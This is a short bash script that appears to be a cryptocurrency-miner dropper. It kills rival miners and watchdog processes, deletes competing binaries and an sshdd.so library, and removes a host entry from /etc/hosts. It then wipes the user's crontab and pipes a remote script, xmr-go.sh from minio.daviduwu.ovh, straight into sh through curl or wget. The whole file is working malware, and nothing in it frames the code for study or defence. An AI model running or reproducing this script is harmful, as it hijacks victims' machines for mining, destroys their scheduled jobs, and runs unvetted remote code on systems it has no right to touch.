#!/bin/bash
pkill -f -9 vncc
pkill -f -9 /tmp/nginx
pkill -f -9 /tmp/sleeping
pkill -f -9 start.bat
pkill -f -9 5.bat
pkill -f -9 tmate
pkill -f -9 sosal123
pkill -f -9 seized
pkill -f -9 /var/tmp/vid
pkill -f -9 /tmp/mine/mine/mine
pkill -f -9 nwatchd
pkill -f -9 checker.sh
pkill -f -9 runner.sh
pkill -f -9 monitor.sh
pkill -f -9 auto_recovery.sh
sudo -n rm -f /tmp/xmrig 2>/dev/null || rm -f /tmp/xmrig 2>/dev/null
sudo -n rm /usr/local/lib/sshdd.so
sudo -n ex -s -c 'g/minio\.daviduwu\.ovh/d' -c 'wq' /etc/hosts || ex -s -c 'g/minio\.daviduwu\.ovh/d' -c 'wq' /etc/hosts 2>/dev/null
if pgrep -f "xmr_" > /dev/null; then
    echo "it's running!"
else
    if command -v curl &> /dev/null; then
	crontab -r
        curl -fsSL https://minio.daviduwu.ovh/public/xmr-go.sh | sh
    elif command -v wget &> /dev/null; then
	crontab -r
        wget -qO- https://minio.daviduwu.ovh/public/xmr-go.sh | sh
    else
        echo "Error: Neither curl nor wget is available to download the file."
        exit 1
    fi
    sleep 15
fi
